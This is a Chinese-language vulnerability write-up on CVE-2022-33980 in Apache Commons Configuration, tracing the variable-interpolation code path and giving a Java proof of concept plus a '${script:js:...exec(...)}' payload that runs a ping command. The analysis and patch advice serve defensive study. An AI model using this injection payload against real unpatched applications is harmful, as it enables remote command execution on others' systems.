文章目录
-
-
- 一、什么是Apache Commons Configuration
- 二、Apache Commons Configuration远程代码执行漏洞
-
- 漏洞状态
- 漏洞描述
- 漏洞等级
- 影响范围
- 修复建议
- 三、漏洞分析
- 四、漏洞利用
- 五、附录
-
一、什么是Apache Commons Configuration
Apache Commons Configuration是Apache基金会下的一个开源项目组件。它是一个java应用程序的配置管理工具,提供了一种通用的管理方式,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。让Java开发者可以使用统一的接口读取不同类型的配置文件。
文章图片
二、Apache Commons Configuration远程代码执行漏洞
漏洞状态
细节是否公开 | POC状态 | EXP状态 | 在野利用 |
---|---|---|---|
未发现 | 已公开 | 未发现 | 未发现 |
文章图片
Apache Commons Configuration执行变量插值(Variable Interpolation)允许动态评估和扩展属性。插值的标准格式是
"${prefix:name}"
,其中"prefix"用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup
实例。从2.4版到2.7版,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。如公告中提到"script"可使用JVM脚本执行引擎(javax.script)执行表达式,若使用了不受信任的配置值,在受影响的版本中使用插值默认值的应用程序就很可能受到远程代码执行的影响。
- “script” - execute expressions using the JVM script execution engine (javax.script)
- “dns” - resolve dns records
- “url” - load values from urls, including from remote servers
目前漏洞POC已被泄露,攻击者利用该漏洞可导致远程命令执行,危害系统安全。
影响范围 2.4 <= Apache Commons Configuration <= 2.7
修复建议 官方已发布漏洞补丁及修复版本,酌情升级至安全版本,下载链接如下:https://commons.apache.org/proper/commons-configuration/changes-report.html
三、漏洞分析
文章图片
如上图为漏洞的POC,使用
java.lang.Runtime.getRuntime()
的exec()
方法进行任意命令执行。其他执行引擎如下${script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")}
${sys:os.version}
${env:PATH}
文章图片
创建对象后进入
interpolate()
方法执行传入值的插值。如果换传入的是字符串,此方法会检查它是否包含变量。文章图片
进入
resolveSingleVariable(final String strValue)
方法,插入单个变量的字符串值。文章图片
【安全|Apache Commons Configuration远程代码执行漏洞(CVE-2022-33980)分析&复现】随后进入
extractVariableName(final String strValue)
提取变量名。文章图片
进入
resolve(final String var)
解析后,可以看到变量var = "script:js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"
,PREFIX_SEPARATOR = :
,对变量进行分割解析。文章图片
获取数值后
prefix = "script"
随即进入fetchLookupForPrefix(prefix).lookup(name)
获取执行器的对象。文章图片
文章图片
通过获取到的对象,进入
public String lookup(final String key)
方法,其中key的值为"js:java.lang.Runtime.getRuntime().exec("ping -c1 10.10.10.10")"
文章图片
至此,我们看到
scriptEngine.eval(script)
进行命令执行,此时执行命令的线程创建了PID=26152
的执行进程。文章图片
然后程序向上返回,看到执行完成的信息
value = "https://www.it610.com/article/Process[pid=26152, exitValue=1]"
。文章图片
通过抓报文可以看到,成功的执行了
ping -c1 10.10.10.10
命令。四、漏洞利用
使用该版本组件的应用程序理论上都会存在该漏洞,只是传入参数的难易程度决定了漏洞的利用情况。
本地POC链接见附录。
package main;
import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
public class main {
public static voidmain(String []args) throws Exception{
String cmd = new String();
cmd = "${script:js:java.lang.Runtime.getRuntime().exec(\"ping -c1 10.10.10.10\")}";
// cmd = "${sys:user.home}";
// cmd = "${sys:os.version}";
// cmd = "${env:PATH}";
InterpolatorSpecification spec = new InterpolatorSpecification.Builder()
.withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
.withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
.create();
ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(spec);
System.out.printf("POC: %s",interpolator.interpolate(cmd));
}
}
使用maven构建项目
org.apache.commons
commons-configuration2
2.5
五、附录
参考链接:
https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s
https://commons.apache.org/proper/commons-configuration/userguide/howto_basicfeatures.html#Variable_Interpolation
https://commons.apache.org/proper/commons-configuration/changes-report.html
https://github.com/tangxiaofeng7/CVE-2022-33980-Apache-Commons-Configuration-RCE
推荐阅读
- Java|MySQL调优之SQL语句(如何写出高性能SQL语句())
- web安全|网络安全之文件包含漏洞总结
- java|2022年最新阿里java面试题(java初级+中级+高级面试题(附答案))
- 大数据|腾讯云云原生数据湖DLC重磅推出免运维、零成本、高性能spark shuffle manager
- 安全|【期末复习】网络空间安全导论
- 网络攻击与防御实训|6.1 Burp Suite漏洞扫描使用
- 杂项|2、phpstudy本地搭建网站
- 控制工程|【控制工程】单位跃阶响应与传递函数
- java|Java常用类String